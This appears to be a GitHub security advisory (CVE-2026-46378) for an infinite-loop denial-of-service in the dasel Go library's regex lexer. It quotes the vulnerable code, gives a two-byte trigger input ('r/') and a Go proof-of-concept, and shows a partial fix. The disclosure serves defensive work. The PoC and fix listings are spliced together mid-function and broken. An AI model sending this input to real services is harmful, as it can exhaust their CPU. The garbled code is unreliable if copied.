GitHub Advisoryadvisory · Go
GHSA-m6xr-fvfg-5g64 Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal
HIGH
Official page ↗
- Aliases
- CVE-2026-46378
- Ecosystem
- Go
- Packages
- github.com/tomwright/dasel/v3
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-835
- Reviewed
- 2026-05-19
Affected packages
• Go github.com/tomwright/dasel/v3: >= 3.0.0, < 3.10.1 → fixed in 3.10.1
Description
Summary
`dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.
I confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.
Details
The bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in `selector/lexer/tokenize.go#L237-L247`:
```go
matchRegexPattern := func(pos int) *Token {
if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
return nil
}
start := pos
pos += 2
for !p.peekRuneEqual(pos, '/') { // line 243
pos++
}
pos++
return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}
```
When no closing `/` exists, `peekRuneEqual` returns `false` when `pos >= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns.
Notably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check.
Minimal trigger: `r/` (2 bytes)
Test environment:
• MacBook Air (Apple M2), macOS / Darwin `arm64`
• Go `1.26.1`
• dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)
PoC
```go
package main
import (
"fmt"
"runtime"
"time"
"github.com/tomwright/dasel/v3/selector/lexer"
)
func main() {
fmt.Printf("Go version: %s\n", runtime.Version())
fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
fmt.Println()
for _, input := range []string{"r/unterminated", "r/"} {
fmt.Printf("Input: %s\n", input)
done := make(chan string, 1)
go func() {
t := lexer.NewTokenizer(input)
start := time.Now()
tokens, err := t.Tokenize()
elapsed := time.Since(start)
if err != nil {
done = p.srcLen {
return nil, &UnexpectedEOFError{Pos: pos}
}
pos++
return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}
```
Related
Alias · CVE (1)
- CVE-2026-46378 Dasel is a command-line tool and library for querying, modifying, and transforming data structures. vulnerability
Weakness · CWE (1)
- CWE-835 Loop with Unreachable Exit Condition weakness